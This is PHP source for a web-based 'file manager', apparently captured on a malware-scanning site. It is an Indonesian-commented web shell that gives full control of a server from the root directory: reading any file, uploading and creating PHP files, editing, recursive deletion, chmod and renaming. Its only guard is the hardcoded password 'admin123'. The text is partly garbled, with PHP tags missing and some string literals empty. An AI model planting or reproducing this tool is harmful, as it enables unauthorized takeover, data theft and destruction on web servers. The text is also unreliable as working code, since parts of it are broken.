/**
* GEMINI ULTIMATE FILE MANAGER - PRO VERSION
* Full Server Access with Modern UI & Robust Logic
*/
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('memory_limit', '512M');
ini_set('max_execution_time', 300);
// FIX: Menangani error 'session.gc_divisor' dari konfigurasi server yang buruk
ini_set('session.gc_divisor', 1000);
session_start();
// ===== KONFIGURASI KEAMANAN =====
$admin_password = 'admin123';
// Proses Logout
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . strtok($_SERVER["REQUEST_URI"], '?'));
exit;
}
// Proses Login
if (isset($_POST['login_submit'])) {
if ($_POST['password'] === $admin_password) {
$_SESSION['fm_logged_in'] = true;
header("Location: " . $_SERVER['REQUEST_URI']);
exit;
} else {
$login_error = "Password salah!";
}
}
// Tampilan Halaman Login
if (!isset($_SESSION['fm_logged_in']) || $_SESSION['fm_logged_in'] !== true) {
echo '<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Login - File Manager</title>';
echo '<style>body{background:#0f111a;color:#fff;font-family:system-ui;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;} .login-box{background:#1a1d2d;padding:40px;border-radius:12px;box-shadow:0 10px 30px rgba(0,0,0,0.5);text-align:center;width:100%;max-width:320px;} input{width:100%;padding:12px;margin:15px 0;background:#0f111a;border:1px solid #2d3142;color:#fff;border-radius:6px;box-sizing:border-box;} button{width:100%;padding:12px;background:#6366f1;border:none;color:#fff;font-weight:bold;border-radius:6px;cursor:pointer;transition:0.3s;} button:hover{background:#4f46e5;} .err{color:#ff4d4d;font-size:14px;}</style></head><body>';
echo '<div class="login-box"><h2><span style="font-size:24px;">🔐</span> System Login</h2>';
if(isset($login_error)) echo "<p class='err'>$login_error</p>";
echo '<form method="POST"><input type="password" name="password" placeholder="Enter Password" required autofocus><button type="submit" name="login_submit">Enter System</button></form></div></body></html>';
exit;
}
// ===== LOGIKA NAVIGASI DIREKTORI =====
$server_root = '/';
if (isset($_GET['dir'])) {
$requested_dir = str_replace('\\', '/', $_GET['dir']);
if (strpos($requested_dir, './') !== false) $requested_dir = '/';
$current_dir = realpath($requested_dir) ?: $requested_dir;
} else {
$current_dir = realpath(dirname(__FILE__));
}
if (empty($current_dir) || !is_string($current_dir)) $current_dir = '/';
$parent_dir = dirname($current_dir);
// ===== FUNGSI UTILITAS BANTUAN =====
function delete_recursive($dir) {
if (!file_exists($dir)) return true;
if (!is_dir($dir)) return unlink($dir);
foreach (scandir($dir) as $item) {
if ($item == || $item == '..') continue;
if (!delete_recursive($dir . DIRECTORY_SEPARATOR . $item)) return false;
}
return rmdir($dir);
}
function format_size($bytes) {
if ($bytes === false || $bytes === null) return '-';
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
return round($bytes / pow(1024, $pow), 2) . ' ' . $units[$pow];
}
function get_icon($is_dir, $filename) {
if ($is_dir) return '📁';
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = ['php'=>'🐘', 'html'=>'🌐', 'css'=>'🎨', 'js'=>'📜', 'json'=>'📋', 'jpg'=>'🖼️', 'png'=>'🖼️', 'zip'=>'🗜️', 'txt'=>'📝', 'sql'=>'🗄️'];
return $icons[$ext] ?? '📄';
}
// ===== HANDLE AJAX (PENGAMBILAN ISI FILE UNTUK EDIT) =====
if (isset($_GET['get_content'])) {
$file_path = $_GET['get_content'];
if (file_exists($file_path) && is_file($file_path) && is_readable($file_path)) {
if (filesize($file_path) < 5242880) { // Max 5MB
// FIX: Matikan error agar warning session tidak bocor masuk ke editor
ini_set('display_errors', 0);
if (ob_get_level()) ob_clean();
header('Content-Type: text/plain; charset=utf-8');
readfile($file_path);
exit;
} else {
http_response_code(413); echo 'File terlalu besar (>5MB)'; exit;
}
} else {
http_response_code(404); echo 'File tidak ditemukan atau tidak bisa dibaca'; exit;
}
}
// ===== HANDLE POST ACTIONS =====
$msg = ''; $err = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
$action = $_POST['action'];
try {
if ($action === 'upload' && isset($_FILES['file'])) {
$target = $current_dir . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) $msg = 'File berhasil diunggah.';
else $err = 'Gagal mengunggah file. Pastikan folder writable.';
}
elseif ($action === 'create_file') {
$file = $current_dir . '/' . $_POST['filename'];
if (!file_exists($file)) {
if (file_put_contents($file, $_POST['content'], LOCK_EX) !== false) $msg = 'File dibuat.';
else $err = 'Gagal membuat file.';
} else $err = 'File sudah ada!';
}
elseif ($action === 'create_dir') {
$dir = $current_dir . '/' . $_POST['dirname'];
if (!file_exists($dir)) {
if (mkdir($dir, 0755, true)) $msg = 'Folder dibuat.';
else $err = 'Gagal membuat folder.';
} else $err = 'Folder sudah ada!';
}
elseif ($action === 'delete') {
if (delete_recursive($_POST['target'])) $msg = 'Item berhasil dihapus.';
else $err = 'Gagal menghapus item (periksa permissions).';
}
elseif ($action === 'rename') {
$new = dirname($_POST['old_path']) . '/' . $_POST['new_name'];
if (!file_exists($new)) {
if (rename($_POST['old_path'], $new)) $msg = 'Berhasil diubah namanya.';
else $err = 'Gagal mengubah nama.';
} else $err = 'Nama tujuan sudah dipakai!';
}
elseif ($action === 'edit_file') {
if (file_put_contents($_POST['file_path'], $_POST['content'], LOCK_EX) !== false) $msg = 'Perubahan file disimpan.';
else $err = 'Gagal menyimpan file.';
}
elseif ($action === 'chmod') {
if (chmod($_POST['target'], octdec($_POST['perms']))) $msg = 'Permissions diperbarui.';
else $err = 'Gagal mengubah permissions.';
}
} catch (Exception $e) {
$err = 'Error: ' . $e->getMessage();
}
}
// ===== SCAN DIRECTORY =====
$items = [];
if (is_readable($current_dir)) {
$files = @scandir($current_dir);
if ($files) {
foreach ($files as $f) {
if ($f === || $f === '..') continue;
$path = $current_dir . '/' . $f;
$items[] = [
'name' => $f,
'path' => $path,
'is_dir' => is_dir($path),
'size' => is_file($path) ? @filesize($path) : false,
'mtime' => @filemtime($path),
'perms' => @substr(sprintf('%o', fileperms($path)), -4),
'is_writable' => is_writable($path),
'is_readable' => is_readable($path)
];
}
usort($items, function($a, $b) {
if ($a['is_dir'] === $b['is_dir']) return strcasecmp($a['name'], $b['name']);
return $a['is_dir'] ? -1 : 1;
});
}
} else {
$err = "Permission Denied: Tidak dapat membaca direktori ini.";
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ultimate Server Manager</title>
<style>
:root { --bg: #0f111a; --card: #1a1d2d; --border: #2d3142; --text: #a6accd; --text-light: #fff; --primary: #6366f1; --success: #22c55e; --danger: #ef4444; --warning: #f59e0b; }
body { font-family: 'Segoe UI', system-ui, sans-serif; background: var(--bg); color: var(--text); margin: 0; padding: 20px; font-size: 14px; }
a { color: var(--text-light); text-decoration: none; transition: 0.2s; }
a:hover { color: var(--primary); }
.container { max-width: 1200px; margin: 0 auto; }
.box { background: var(--card); border: 1px solid var(--border); border-radius: 8px; padding: 15px; margin-bottom: 20px; }
.header { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 10px; }
.path-bar { background: var(--bg); padding: 10px 15px; border-radius: 6px; font-family: monospace; font-size: 13px; color: var(--success); flex-grow: 1; word-break: break-all; border: 1px solid var(--border); }
.btn { padding: 8px 12px; border: none; border-radius: 5px; font-weight: 600; cursor: pointer; display: inline-flex; align-items: center; gap: 5px; color: #fff; font-size: 13px; transition: 0.2s; }
.btn-primary { background: var(--primary); } .btn-primary:hover { opacity: 0.8; }
.btn-success { background: var(--success); } .btn-danger { background: var(--danger); }
.btn-warning { background: var(--warning); color: #000; }
.btn-sm { padding: 4px 8px; font-size: 12px; }
.btn-logout { background: transparent; border: 1px solid var(--danger); color: var(--danger); }
table { width: 100%; border-collapse: collapse; }
th, td { padding: 12px; text-align: left; border-bottom: 1px solid var(--border); }
th { font-weight: 600; color: var(--text-light); background: rgba(0,0,0,0.2); }
tr:hover { background: rgba(255,255,255,0.02); }
.badge { padding: 2px 6px; border-radius: 4px; font-size: 11px; font-weight: bold; }
.b-read { background: rgba(34, 197, 94, 0.2); color: var(--success); }
.b-write { background: rgba(245, 158, 11, 0.2); color: var(--warning); }
.b-none { background: rgba(239, 68, 68, 0.2); color: var(--danger); }
.modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 999; backdrop-filter: blur(5px); }
.modal-content { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); background: var(--card); padding: 20px; border-radius: 8px; width: 90%; max-width: 500px; border: 1px solid var(--border); box-shadow: 0 10px 40px rgba(0,0,0,0.5); }
.modal-lg { max-width: 900px; }
.close { float: right; cursor: pointer; font-size: 20px; color: var(--text); }
.close:hover { color: var(--danger); }
.form-control { width: 100%; padding: 10px; margin: 10px 0; background: var(--bg); border: 1px solid var(--border); color: #fff; border-radius: 5px; box-sizing: border-box; font-family: inherit; }
textarea.form-control { min-height: 400px; font-family: monospace; resize: vertical; }
.alert { padding: 10px 15px; border-radius: 5px; margin-bottom: 20px; font-weight: 500; }
.alert-success { background: rgba(34, 197, 94, 0.1); border: 1px solid var(--success); color: var(--success); }
.alert-danger { background: rgba(239, 68, 68, 0.1); border: 1px solid var(--danger); color: var(--danger); }
</style>
</head>
<body>
<div class="container">
<div class="box header">
<h2 style="margin:0; color:var(--text-light);">🚀 SysManager</h2>
<div class="path-bar">
📍 echo htmlspecialchars($current_dir);
</div>
<a href="?logout=true" class="btn btn-logout">🚪 Logout</a>
</div>
if($msg) echo "<div class='alert alert-success'>$msg</div>";
if($err) echo "<div class='alert alert-danger'>$err</div>";
<div class="box" style="display: flex; gap: 10px; flex-wrap: wrap;">
<a href="?dir=echo urlencode($parent_dir);" class="btn btn-warning">⬆ Up Level</a>
<button class="btn btn-primary" onclick="openModal('uploadModal')">📤 Upload</button>
<button class="btn btn-success" onclick="openModal('newFileModal')">📄 New File</button>
<button class="btn btn-primary" onclick="openModal('newDirModal')">📁 New Folder</button>
<a href="?dir=/" class="btn btn-danger">📀 Root (/)</a>
</div>
<div class="box" style="padding: 0; overflow-x: auto;">
<table>
<thead>
<tr>
<th width="40">Type</th>
<th>Name</th>
<th>Size</th>
<th>Modified Date</th>
<th>Perms</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
if (empty($items) && empty($err)):
<tr><td colspan="6" style="text-align:center; padding:30px;">Directory is empty</td></tr>
else:
foreach ($items as $item):
<tr>
<td style="text-align:center; font-size: 18px;">
echo get_icon($item['is_dir'], $item['name']);
</td>
<td>
if ($item['is_dir']):
<a href="?dir=echo urlencode($item['path']);" style="font-weight:bold;">
echo htmlspecialchars($item['name']);
</a>
else:
<span style="color:var(--text-light);">echo htmlspecialchars($item['name']);</span>
endif;
</td>
<td>echo format_size($item['size']);</td>
<td>echo $item['mtime'] ? date('d-M-Y H:i', $item['mtime']) : '-';</td>
<td>
<span style="font-family:monospace; margin-right:5px; cursor:pointer;" title="Click to Chmod" onclick="chmodItem('echo addslashes($item['path']);', 'echo $item['perms'];')">
echo $item['perms'];
</span>
<span class="badge echo $item['is_readable'] ? 'b-read' : 'b-none';">R</span>
<span class="badge echo $item['is_writable'] ? 'b-write' : 'b-none';">W</span>
</td>
<td>
<div style="display:flex; gap:5px;">
if (!$item['is_dir'] && $item['is_readable']):
<button class="btn btn-primary btn-sm" onclick="editFile('echo addslashes($item['path']);', 'echo addslashes($item['name']);')">Edit</button>
endif;
<button class="btn btn-warning btn-sm" onclick="renameItem('echo addslashes($item['path']);', 'echo addslashes($item['name']);')">Rename</button>
<button class="btn btn-danger btn-sm" onclick="deleteItem('echo addslashes($item['path']);')">Del</button>
</div>
</td>
</tr>
endforeach;
endif;
</tbody>
</table>
</div>
</div>
<div id="uploadModal" class="modal"><div class="modal-content">
<span class="close" onclick="closeModal('uploadModal')">×</span>
<h3>📤 Upload File</h3>
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload">
<input type="file" name="file" class="form-control" required>
<button type="submit" class="btn btn-primary">Upload Now</button>
</form>
</div></div>
<div id="newFileModal" class="modal"><div class="modal-content">
<span class="close" onclick="closeModal('newFileModal')">×</span>
<h3>📄 Create File</h3>
<form method="POST">
<input type="hidden" name="action" value="create_file">
<input type="text" name="filename" class="form-control" placeholder="filename.php" required>
<textarea name="content" class="form-control" style="min-height:150px;" placeholder="Optional content..."></textarea>
<button type="submit" class="btn btn-success">Create File</button>
</form>
</div></div>
<div id="newDirModal" class="modal"><div class="modal-content">
<span class="close" onclick="closeModal('newDirModal')">×</span>
<h3>📁 Create Folder</h3>
<form method="POST">
<input type="hidden" name="action" value="create_dir">
<input type="text" name="dirname" class="form-control" placeholder="folder_name" required>
<button type="submit" class="btn btn-primary">Create Folder</button>
</form>
</div></div>
<div id="editModal" class="modal"><div class="modal-content modal-lg">
<span class="close" onclick="closeModal('editModal')">×</span>
<h3>✏️ Edit: <span id="editTitle" style="color:var(--primary);"></span></h3>
<form method="POST">
<input type="hidden" name="action" value="edit_file">
<input type="hidden" name="file_path" id="editFilePath">
<textarea name="content" id="editContent" class="form-control" spellcheck="false"></textarea>
<button type="submit" class="btn btn-success">💾 Save Changes</button>
</form>
</div></div>
<form id="actionForm" method="POST" style="display:none;">
<input type="hidden" name="action" id="af_action">
<input type="hidden" name="target" id="af_target">
<input type="hidden" name="old_path" id="af_old_path">
<input type="hidden" name="new_name" id="af_new_name">
<input type="hidden" name="perms" id="af_perms">
</form>
<script>
function openModal(id) { document.getElementById(id).style.display = 'block'; }
function closeModal(id) { document.getElementById(id).style.display = 'none'; }
function submitAction(action, data) {
const form = document.getElementById('actionForm');
document.getElementById('af_action').value = action;
if(data.target) document.getElementById('af_target').value = data.target;
if(data.old) document.getElementById('af_old_path').value = data.old;
if(data.new) document.getElementById('af_new_name').value = data.new;
if(data.perms) document.getElementById('af_perms').value = data.perms;
form.submit();
}
function deleteItem(path) {
if (confirm('⚠️ PERINGATAN: Anda yakin ingin menghapus item ini secara permanen?')) {
submitAction('delete', {target: path});
}
}
function renameItem(path, oldName) {
const newName = prompt('Ubah nama:', oldName);
if (newName && newName !== oldName) {
submitAction('rename', {old: path, new: newName});
}
}
function chmodItem(path, oldPerms) {
const newPerms = prompt('Ubah Perizinan (Contoh: 0755, 0644):', oldPerms);
if (newPerms && newPerms !== oldPerms) {
submitAction('chmod', {target: path, perms: newPerms});
}
}
function editFile(path, name) {
document.getElementById('editFilePath').value = path;
document.getElementById('editTitle').innerText = name;
document.getElementById('editContent').value = 'Loading file content...';
openModal('editModal');
fetch('?get_content=' + encodeURIComponent(path))
.then(res => {
if(!res.ok) throw new Error('Network response was not ok');
return res.text();
})
.then(text => document.getElementById('editContent').value = text)
.catch(err => {
document.getElementById('editContent').value = 'Error loading file!';
alert('Gagal memuat isi file.');
});
}
</script>
</body>
</html>
© 2023 Quttera Ltd. All rights reserved.